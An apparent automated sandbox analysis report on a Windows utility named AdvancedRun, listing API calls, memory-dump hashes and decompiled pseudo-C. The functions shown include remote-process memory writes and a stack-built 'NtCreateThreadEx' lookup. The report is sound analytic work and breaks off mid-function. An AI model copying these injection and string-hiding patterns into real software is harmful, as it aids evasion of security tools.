VirtualAllocEx.KERNEL32(?,00000000,00000800,00001000,00000040), ref: 0040A5CF
WriteProcessMemory.KERNEL32(?,00000000,0040A3DC,00000800,00000000), ref: 0040A5FA
WriteProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A60B
ResumeThread.KERNEL32(00000000,?,?,?,?), ref: 0040A635
WaitForSingleObject.KERNEL32(00000000,000007D0), ref: 0040A641
CloseHandle.KERNEL32(00000000), ref: 0040A648
memset.MSVCRT ref: 0040A66E
ReadProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A685
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A69E
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A6A8
FreeLibrary.KERNEL32(?), ref: 0040A6DC
GetLastError.KERNEL32 ref: 0040A6E4
GetLastError.KERNEL32(?,00402225,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040A6F1

Strings

kernel32.dll, xrefs: 0040A4BB
CreateProcessW, xrefs: 0040A4DD
GetLastError, xrefs: 0040A4FE
D, xrefs: 0040A528

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleProcProcessVirtual$FreeMemoryModule$AllocErrorLastWritememsetstrlen$CloseLibraryObjectOpenReadResumeSingleThreadWait
String ID: CreateProcessW$D$GetLastError$kernel32.dll
API String ID: 1572607441-20550370
Opcode ID: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction ID: 438c2ff444ec8f0d87d8749b995af300a635889f814f068fc812e1417cff7fa3
Opcode Fuzzy Hash: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction Fuzzy Hash: 557127B1800219EFCB109FA0DD8499E7BB5FF08344F14457AF949B6290CB799E90DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401093, Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401093(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void* __esi;
				void* _t47;
				struct HBRUSH__* _t56;
				void* _t61;
				unsigned int _t63;
				void* _t68;
				struct HWND__* _t69;
				struct HWND__* _t70;
				void* _t73;
				unsigned int _t74;
				struct HWND__* _t76;
				struct HWND__* _t77;
				struct HWND__* _t78;
				struct HWND__* _t79;
				unsigned int _t85;
				struct HWND__* _t87;
				struct HWND__* _t89;
				struct HWND__* _t90;
				struct tagPOINT _t96;
				struct tagPOINT _t98;
				signed short _t103;
				void* _t106;
				void* _t117;

				_t106 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t47 = _a4 - 0x110;
				_t117 = __ecx;
				if(_t47 == 0) {
					__eflags =  *0x40feb0;
					if(__eflags != 0) {
						SetDlgItemTextW( *(__ecx + 0x10), 0x3ee, 0x40feb0);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 0x10), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t117 + 0x10), 0x3ee), 0);
					}
					SetWindowTextW( *(_t117 + 0x10), L"AdvancedRun");
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ea, _t117 + 0x40);
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ec, _t117 + 0x23e);
					E0040103E(_t117, __eflags);
					E00404DA9(_t106,  *(_t117 + 0x10), 4);
					goto L30;
				} else {
					_t61 = _t47 - 1;
					if(_t61 == 0) {
						_t103 = _a8;
						_t63 = _t103 >> 0x10;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							L24:
							__eflags = _t63;
							if(_t63 != 0) {
								goto L30;
							} else {
								EndDialog( *(_t117 + 0x10), _t103 & 0x0000ffff);
								DeleteObject( *(_t117 + 0x43c));
								goto L8;
							}
						} else {
							__eflags = _t103 - 2;
							if(_t103 != 2) {
								goto L30;
							} else {
								goto L24;
							}
						}
					} else {
						_t68 = _t61 - 0x27;
						if(_t68 == 0) {
							_t69 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
							__eflags = _a12 - _t69;
							if(_a12 != _t69) {
								__eflags =  *0x40ff30;
								if( *0x40ff30 == 0) {
									goto L30;
								} else {
									_t70 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
									__eflags = _a12 - _t70;
									if(_a12 != _t70) {
										goto L30;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t56 = GetSysColorBrush(0xf);
							}
						} else {
							_t73 = _t68 - 0xc8;
							if(_t73 == 0) {
								_t74 = _a12;
								_t96 = _t74 & 0x0000ffff;
								_v12.x = _t96;
								_v12.y = _t74 >> 0x10;
								_t76 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
								_push(_v12.y);
								_a8 = _t76;
								_t77 = ChildWindowFromPoint( *(_t117 + 0x10), _t96);
								__eflags = _t77 - _a8;
								if(_t77 != _a8) {
									__eflags =  *0x40ff30;
									if( *0x40ff30 == 0) {
										goto L30;
									} else {
										_t78 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
										_push(_v12.y);
										_t79 = ChildWindowFromPoint( *(_t117 + 0x10), _v12.x);
										__eflags = _t79 - _t78;
										if(_t79 != _t78) {
											goto L30;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorW(GetModuleHandleW(0), 0x67));
									goto L8;
								}
							} else {
								if(_t73 != 0) {
									L30:
									_t56 = 0;
									__eflags = 0;
								} else {
									_t85 = _a12;
									_t98 = _t85 & 0x0000ffff;
									_v12.x = _t98;
									_v12.y = _t85 >> 0x10;
									_t87 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
									_push(_v12.y);
									_a8 = _t87;
									if(ChildWindowFromPoint( *(_t117 + 0x10), _t98) != _a8) {
										__eflags =  *0x40ff30;
										if( *0x40ff30 == 0) {
											goto L30;
										} else {
											_t89 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
											_push(_v12.y);
											_t90 = ChildWindowFromPoint( *(_t117 + 0x10), _v12);
											__eflags = _t90 - _t89;
											if(_t90 != _t89) {
												goto L30;
											} else {
												_push(0x40ff30);
												goto L7;
											}
										}
									} else {
										_push(_t117 + 0x23e);
										L7:
										_push( *(_t117 + 0x10));
										E00404F7E();
										L8:
										_t56 = 1;
									}
								}
							}
						}
					}
				}
				return _t56;
			}

0x00401093
0x00401096
0x00401097
0x0040109b
0x004010a3
0x004010a5
0x00401270
0x00401278
0x004012b3
0x0040127a
0x00401293
0x004012a2
0x004012a2
0x004012c1
0x004012d9
0x004012ea
0x004012ec
0x004012f6
0x00000000
0x004010ab
0x004010ab
0x004010ac
0x00401231
0x00401236
0x00401239
0x0040123d
0x00401249
0x00401249
0x0040124c
0x00000000
0x00401252
0x00401259
0x00401265
0x00000000
0x00401265
0x0040123f
0x0040123f
0x00401243
0x00000000
0x00000000
0x00000000
0x00000000
0x00401243
0x004010b2
0x004010b2
0x004010b5
0x004011e1
0x004011e3
0x004011e6
0x0040120e
0x00401216
0x00000000
0x0040121c
0x00401224
0x00401226
0x00401229
0x00000000
0x0040122f
0x00000000
0x0040122f
0x00401229
0x004011e8
0x004011e8
0x004011ed
0x004011fb
0x00401203
0x00401203
0x004010bb
0x004010bb
0x004010c0
0x00401151
0x0040115a
0x00401168
0x0040116b
0x0040116e
0x00401170
0x00401173
0x00401180
0x00401182
0x00401185
0x004011a4
0x004011ac
0x00000000
0x004011b2
0x004011ba
0x004011bc
0x004011c7
0x004011c9
0x004011cb
0x00000000
0x004011d1
0x00000000
0x004011d1
0x004011cb
0x00401187
0x00401187
0x00401199
0x00000000
0x00401199
0x004010c6
0x004010c8
0x004012fd
0x004012fd
0x004012fd
0x004010ce
0x004010ce
0x004010d7
0x004010e5
0x004010e8
0x004010eb
0x004010ed
0x004010f0
0x00401102
0x0040111d
0x00401125
0x00000000
0x0040112b
0x00401133
0x00401135
0x00401140
0x00401142
0x00401144
0x00000000
0x0040114a
0x0040114a
0x00000000
0x0040114a
0x00401144
0x00401104
0x0040110a
0x0040110b
0x0040110b
0x0040110e
0x00401115
0x00401117
0x00401117
0x00401102
0x004010c8
0x004010c0
0x004010b5
0x004010ac
0x00401303

APIs

GetDlgItem.USER32 ref: 004010EB
ChildWindowFromPoint.USER32 ref: 004010FD
GetDlgItem.USER32 ref: 00401133
ChildWindowFromPoint.USER32 ref: 00401140
GetDlgItem.USER32 ref: 0040116E
ChildWindowFromPoint.USER32 ref: 00401180
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401189
LoadCursorW.USER32(00000000,00000067), ref: 00401192
SetCursor.USER32(00000000,?,?), ref: 00401199
GetDlgItem.USER32 ref: 004011BA
ChildWindowFromPoint.USER32 ref: 004011C7
GetDlgItem.USER32 ref: 004011E1
SetBkMode.GDI32(?,00000001), ref: 004011ED
SetTextColor.GDI32(?,00C00000), ref: 004011FB
GetSysColorBrush.USER32(0000000F), ref: 00401203
GetDlgItem.USER32 ref: 00401224
EndDialog.USER32(?,?), ref: 00401259
DeleteObject.GDI32(?), ref: 00401265
GetDlgItem.USER32 ref: 0040128A
ShowWindow.USER32(00000000), ref: 00401293
GetDlgItem.USER32 ref: 0040129F
ShowWindow.USER32(00000000), ref: 004012A2
SetDlgItemTextW.USER32 ref: 004012B3
SetWindowTextW.USER32(?,AdvancedRun), ref: 004012C1
SetDlgItemTextW.USER32 ref: 004012D9
SetDlgItemTextW.USER32 ref: 004012EA

Strings

AdvancedRun, xrefs: 004012B9

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: AdvancedRun
API String ID: 829165378-481304740
Opcode ID: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction ID: 224fbb10fd18d8c83ffedf6f1f5ae1765c75c0bde1a98b5884793aa0480d770d
Opcode Fuzzy Hash: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction Fuzzy Hash: 12517D31510308EBDB216FA0DD84E6A7BB6FB44304F104A3AFA11B65F1CB79A954EB18

Uniqueness

Uniqueness Score: -1.00%

Function 00408ADB, Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 216
windowCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00408ADB(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, void* _a8, unsigned int _a12) {
				void _v259;
				void _v260;
				void _v515;
				void _v516;
				char _v1048;
				void _v1052;
				void _v1056;
				void _v1560;
				long _v1580;
				void _v3626;
				char _v3628;
				void _v5674;
				char _v5676;
				void _v9770;
				short _v9772;
				void* __edi;
				void* _t45;
				void* _t60;
				int _t61;
				int _t63;
				int _t64;
				long _t68;
				struct HWND__* _t94;
				signed int _t103;
				intOrPtr _t127;
				unsigned int _t130;
				void* _t132;
				void* _t135;

				E0040B550(0x2628, __ecx);
				_t45 = _a8 - 0x110;
				if(_t45 == 0) {
					E00404DA9(__edx, _a4, 4);
					_v9772 = 0;
					memset( &_v9770, 0, 0xffe);
					_t103 = 5;
					memcpy( &_v1580, L"{Unknown}", _t103 << 2);
					memset( &_v1560, 0, 0x1f6);
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					_v516 = 0;
					memset( &_v515, 0, 0xff);
					_v5676 = 0;
					memset( &_v5674, 0, 0x7fe);
					_v3628 = 0;
					memset( &_v3626, 0, 0x7fe);
					_t135 = _t132 + 0x5c;
					_t60 = GetCurrentProcess();
					_t105 =  &_v260;
					_a8 = _t60;
					_t61 = ReadProcessMemory(_t60,  *0x40f3bc,  &_v260, 0x80, 0);
					__eflags = _t61;
					if(_t61 != 0) {
						E00404FE0( &_v5676,  &_v260, 4);
						_pop(_t105);
					}
					_t63 = ReadProcessMemory(_a8,  *0x40f3b0,  &_v516, 0x80, 0);
					__eflags = _t63;
					if(_t63 != 0) {
						E00404FE0( &_v3628,  &_v516, 0);
						_pop(_t105);
					}
					_t64 = E00404BD3();
					__eflags = _t64;
					if(_t64 == 0) {
						E004090EE();
					} else {
						E00409172();
					}
					__eflags =  *0x4101b8; // 0x0
					if(__eflags != 0) {
						L17:
						_v1056 = 0;
						memset( &_v1052, 0, 0x218);
						_t127 =  *0x40f5d4; // 0x0
						_t135 = _t135 + 0xc;
						_t68 = GetCurrentProcessId();
						_push(_t127);
						_push(_t68);
						 *0x40f84c = 0;
						E004092F0(_t105, __eflags);
						__eflags =  *0x40f84c; // 0x0
						if(__eflags != 0) {
							memcpy( &_v1056, 0x40f850, 0x21c);
							_t135 = _t135 + 0xc;
							__eflags =  *0x40f84c; // 0x0
							if(__eflags != 0) {
								wcscpy( &_v1580, E00404B3E( &_v1048));
							}
						}
						goto L20;
					} else {
						__eflags =  *0x4101bc; // 0x0
						if(__eflags == 0) {
							L20:
							_push( &_v3628);
							_push( &_v5676);
							_push( *0x40f3b0);
							_push( *0x40f3bc);
							_push( *0x40f3ac);
							_push( *0x40f394);
							_push( *0x40f398);
							_push( *0x40f3a0);
							_push( *0x40f3a4);
							_push( *0x40f39c);
							_push( *0x40f3a8);
							_push( &_v1580);
							_push( *0x40f5d4);
							_push( *0x40f5c8);
							_push(L"Exception %8.8X at address %8.8X in module %s\r\nRegisters: \r\nEAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8X\r\nESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8X\r\nEIP=%8.8X\r\nStack Data: %s\r\nCode Data: %s\r\n");
							_push(0x800);
							_push( &_v9772);
							L0040B1EC();
							SetDlgItemTextW(_a4, 0x3ea,  &_v9772);
							SetFocus(GetDlgItem(_a4, 0x3ea));
							L21:
							return 0;
						}
						goto L17;
					}
				}
				if(_t45 == 1) {
					_t130 = _a12;
					if(_t130 >> 0x10 == 0) {
						if(_t130 == 3) {
							_t94 = GetDlgItem(_a4, 0x3ea);
							_a4 = _t94;
							SendMessageW(_t94, 0xb1, 0, 0xffff);
							SendMessageW(_a4, 0x301, 0, 0);
							SendMessageW(_a4, 0xb1, 0, 0);
						}
					}
				}
				goto L21;
			}

0x00408ae3
0x00408aeb
0x00408af3
0x00408b76
0x00408b8a
0x00408b91
0x00408b98
0x00408bb1
0x00408bb3
0x00408bc6
0x00408bcc
0x00408bda
0x00408be0
0x00408bf3
0x00408bfa
0x00408c0b
0x00408c12
0x00408c17
0x00408c1a
0x00408c2c
0x00408c39
0x00408c3d
0x00408c3f
0x00408c41
0x00408c52
0x00408c58
0x00408c58
0x00408c6f
0x00408c71
0x00408c73
0x00408c83
0x00408c89
0x00408c89
0x00408c8a
0x00408c8f
0x00408c91
0x00408c9a
0x00408c93
0x00408c93
0x00408c93
0x00408c9f
0x00408ca5
0x00408caf
0x00408cbc
0x00408cc2
0x00408cc7
0x00408ccd
0x00408cd0
0x00408cd6
0x00408cd7
0x00408cd8
0x00408cde
0x00408ce3
0x00408ceb
0x00408cfe
0x00408d03
0x00408d06
0x00408d0c
0x00408d21
0x00408d27
0x00408d0c
0x00000000
0x00408ca7
0x00408ca7
0x00408cad
0x00408d28
0x00408d2e
0x00408d35
0x00408d36
0x00408d42
0x00408d48
0x00408d4e
0x00408d54
0x00408d5a
0x00408d60
0x00408d66
0x00408d6c
0x00408d72
0x00408d73
0x00408d7f
0x00408d85
0x00408d8a
0x00408d8f
0x00408d90
0x00408da8
0x00408db9
0x00408dbf
0x00408dc5
0x00408dc5
0x00000000
0x00408cad
0x00408ca5
0x00408af6
0x00408afc
0x00408b07
0x00408b2a
0x00408b38
0x00408b53
0x00408b56
0x00408b62
0x00408b6a
0x00408b6a
0x00408b2a
0x00408b07
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00408B20
GetDlgItem.USER32 ref: 00408B38
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00408B56
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00408B62
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00408B6A
memset.MSVCRT ref: 00408B91
memset.MSVCRT ref: 00408BB3
memset.MSVCRT ref: 00408BCC
memset.MSVCRT ref: 00408BE0
memset.MSVCRT ref: 00408BFA
memset.MSVCRT ref: 00408C12
GetCurrentProcess.KERNEL32 ref: 00408C1A
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 00408C3D
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00408C6F
memset.MSVCRT ref: 00408CC2
GetCurrentProcessId.KERNEL32 ref: 00408CD0
memcpy.MSVCRT ref: 00408CFE
wcscpy.MSVCRT ref: 00408D21
_snwprintf.MSVCRT ref: 00408D90
SetDlgItemTextW.USER32 ref: 00408DA8
GetDlgItem.USER32 ref: 00408DB2
SetFocus.USER32(00000000), ref: 00408DB9

Strings

{Unknown}, xrefs: 00408BA5
Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00408D85

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction ID: 89cdabe1f300c5598f457b205db6f7bf21b56caa474a1127ebd0a37068e91017
Opcode Fuzzy Hash: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction Fuzzy Hash: FD7184B280021DBEDB219B51DD85EDB377CEF08354F0444BAFA08B6191DB799E848F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040B04D, Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040B04D(intOrPtr* __edi, short* _a4) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _v60;
				char _v572;
				void* __esi;
				int _t47;
				void* _t50;
				signed short* _t76;
				void* _t81;
				void* _t84;
				intOrPtr* _t96;
				int _t97;

				_t96 = __edi;
				_t97 = 0;
				_v20 = 0;
				_t47 = GetFileVersionInfoSizeW(_a4,  &_v20);
				_v8 = _t47;
				if(_t47 > 0) {
					_t50 = E00405AA7(__edi);
					_push(_v8);
					L0040B26C();
					_t84 = _t50;
					GetFileVersionInfoW(_a4, 0, _v8, _t84);
					if(VerQueryValueW(_t84, "\\",  &_v12,  &_v8) != 0) {
						_t81 = _v12;
						_t11 = _t81 + 0x30; // 0x4d46e853
						 *((intOrPtr*)(__edi + 4)) =  *_t11;
						_t13 = _t81 + 8; // 0x8d50ffff
						 *__edi =  *_t13;
						_t14 = _t81 + 0x14; // 0x5900004d
						 *((intOrPtr*)(__edi + 0xc)) =  *_t14;
						_t16 = _t81 + 0x10; // 0x65e850ff
						 *((intOrPtr*)(__edi + 8)) =  *_t16;
						_t18 = _t81 + 0x24; // 0xf4680000
						 *((intOrPtr*)(__edi + 0x10)) =  *_t18;
						_t20 = _t81 + 0x28; // 0xbb0040cd
						 *((intOrPtr*)(__edi + 0x14)) =  *_t20;
					}
					if(VerQueryValueW(_t84, L"\\VarFileInfo\\Translation",  &_v16,  &_v8) == 0) {
						L5:
						wcscpy( &_v60, L"040904E4");
					} else {
						_t76 = _v16;
						_push(_t76[1] & 0x0000ffff);
						_push( *_t76 & 0x0000ffff);
						_push(L"%4.4X%4.4X");
						_push(0x14);
						_push( &_v60);
						L0040B1EC();
						if(E0040AFBE( &_v572, _t84,  &_v60, 0x40c4e8) == 0) {
							goto L5;
						}
					}
					E0040AFBE(_t96 + 0x18, _t84,  &_v60, L"ProductName");
					E0040AFBE(_t96 + 0x218, _t84,  &_v60, L"FileDescription");
					E0040AFBE(_t96 + 0x418, _t84,  &_v60, L"FileVersion");
					E0040AFBE(_t96 + 0x618, _t84,  &_v60, L"ProductVersion");
					E0040AFBE(_t96 + 0x818, _t84,  &_v60, L"CompanyName");
					E0040AFBE(_t96 + 0xa18, _t84,  &_v60, L"InternalName");
					E0040AFBE(_t96 + 0xc18, _t84,  &_v60, L"LegalCopyright");
					E0040AFBE(_t96 + 0xe18, _t84,  &_v60, L"OriginalFileName");
					_push(_t84);
					_t97 = 1;
					L0040B272();
				}
				return _t97;
			}

0x0040b04d
0x0040b05e
0x0040b060
0x0040b063
0x0040b06a
0x0040b06d
0x0040b076
0x0040b07b
0x0040b07e
0x0040b084
0x0040b08e
0x0040b0a8
0x0040b0aa
0x0040b0ad
0x0040b0b0
0x0040b0b3
0x0040b0b6
0x0040b0b8
0x0040b0bb
0x0040b0be
0x0040b0c1
0x0040b0c4
0x0040b0c7
0x0040b0ca
0x0040b0cd
0x0040b0cd
0x0040b0e5
0x0040b11f
0x0040b128
0x0040b0e7
0x0040b0e7
0x0040b0f1
0x0040b0f2
0x0040b0f3
0x0040b0fb
0x0040b0fd
0x0040b0fe
0x0040b11d
0x00000000
0x00000000
0x0040b11d
0x0040b13c
0x0040b151
0x0040b166
0x0040b17b
0x0040b190
0x0040b1a5
0x0040b1ba
0x0040b1cf
0x0040b1d6
0x0040b1d7
0x0040b1d8
0x0040b1de
0x0040b1e3

APIs

GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
??2@YAPAXI@Z.MSVCRT ref: 0040B07E
GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
_snwprintf.MSVCRT ref: 0040B0FE
wcscpy.MSVCRT ref: 0040B128
??3@YAXPAX@Z.MSVCRT ref: 0040B1D8

Strings

%4.4X%4.4X, xrefs: 0040B0F3
OriginalFileName, xrefs: 0040B1BF
CompanyName, xrefs: 0040B180
LegalCopyright, xrefs: 0040B1AA
InternalName, xrefs: 0040B195
040904E4, xrefs: 0040B122
ProductVersion, xrefs: 0040B16B
FileDescription, xrefs: 0040B141
FileVersion, xrefs: 0040B156
ProductName, xrefs: 0040B12F
\VarFileInfo\Translation, xrefs: 0040B0D8

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoQueryValueVersion$??2@??3@Size_snwprintfwcscpy
String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
API String ID: 1223191525-1542517562
Opcode ID: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction ID: 283451b663653e95218ba9e6ce5340ec929c4f2fba7a9b8c11281d5ea0e9195a
Opcode Fuzzy Hash: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction Fuzzy Hash: E34144B2940219BAC704EBA5DD41DDEB7BDEF08704F100177B905B3181DB78AA59CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A1EF, Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040A1EF(struct HINSTANCE__** __esi) {
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				struct HINSTANCE__* _t27;

				if( *__esi != 0) {
					L3:
					return 1;
				}
				_t27 = LoadLibraryW(L"ntdll.dll");
				 *__esi = _t27;
				if(_t27 != 0) {
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					asm("stosb");
					_v24 = 0x4e;
					_v23 = 0x74;
					_v13 = 0x65;
					_v12 = 0x61;
					_v18 = 0x74;
					_v17 = 0x65;
					_v22 = 0x43;
					_v14 = 0x72;
					_v11 = 0x64;
					_v21 = 0x72;
					_v10 = 0x45;
					_v9 = 0x78;
					_v20 = 0x65;
					_v19 = 0x61;
					_v16 = 0x54;
					_v15 = 0x68;
					_v8 = 0;
					__esi[1] = GetProcAddress(_t27,  &_v24);
					goto L3;
				}
				return 0;
			}

0x0040a1f8
0x0040a26d
0x00000000
0x0040a26f
0x0040a205
0x0040a20b
0x0040a20d
0x0040a213
0x0040a214
0x0040a215
0x0040a216
0x0040a217
0x0040a219
0x0040a21f
0x0040a223
0x0040a227
0x0040a22b
0x0040a22f
0x0040a233
0x0040a237
0x0040a23b
0x0040a23f
0x0040a243
0x0040a247
0x0040a24b
0x0040a24f
0x0040a253
0x0040a257
0x0040a25b
0x0040a25f
0x0040a269
0x00000000
0x0040a26c
0x0040a271

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

a, xrefs: 0040A253
x, xrefs: 0040A24B
e, xrefs: 0040A227
t, xrefs: 0040A22F
h, xrefs: 0040A25B
t, xrefs: 0040A223
T, xrefs: 0040A257
d, xrefs: 0040A23F
N, xrefs: 0040A21F
ntdll.dll, xrefs: 0040A1FA
e, xrefs: 0040A24F
r, xrefs: 0040A23B
C, xrefs: 0040A237
a, xrefs: 0040A22B
E, xrefs: 0040A247
r, xrefs: 0040A243
e, xrefs: 0040A233

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: C$E$N$T$a$a$d$e$e$e$h$ntdll.dll$r$r$t$t$x
API String ID: 2574300362-1257427173
Opcode ID: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction ID: 28a3addb3bc40b583479f690f9d6e65064931713b616a12c977b5f47a4008353
Opcode Fuzzy Hash: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction Fuzzy Hash: 08110A2090C6C9EDEB12C7FCC40879EBEF15B26709F0881ECC585B6292C6BA5758C776

Uniqueness

Uniqueness Score: -1.00%

Function 00407F8D, Relevance: 33.1, APIs: 22, Instructions: 137
windowCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00407F8D(void* __eax) {
				struct _SHFILEINFOW _v692;
				void _v1214;
				short _v1216;
				void* _v1244;
				void* _v1248;
				void* _v1252;
				void* _v1256;
				void* _v1268;
				void* _t37;
				long _t38;
				long _t46;
				long _t48;
				long _t58;
				void* _t62;
				intOrPtr* _t64;

				_t64 = ImageList_Create;
				_t62 = __eax;
				if( *((intOrPtr*)(__eax + 0x2b4)) != 0) {
					if( *((intOrPtr*)(__eax + 0x2bc)) == 0) {
						_t48 = ImageList_Create(0x10, 0x10, 0x19, 1, 1);
						 *(_t62 + 0x2a8) = _t48;
						__imp__ImageList_SetImageCount(_t48, 0);
						_push( *(_t62 + 0x2a8));
					} else {
						_v692.hIcon = 0;
						memset( &(_v692.iIcon), 0, 0x2b0);
						_v1216 = 0;
						memset( &_v1214, 0, 0x208);
						GetWindowsDirectoryW( &_v1216, 0x104);
						_t58 = SHGetFileInfoW( &_v1216, 0,  &_v692, 0x2b4, 0x4001);
						 *(_t62 + 0x2a8) = _t58;
						_push(_t58);
					}
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 1, ??);
				}
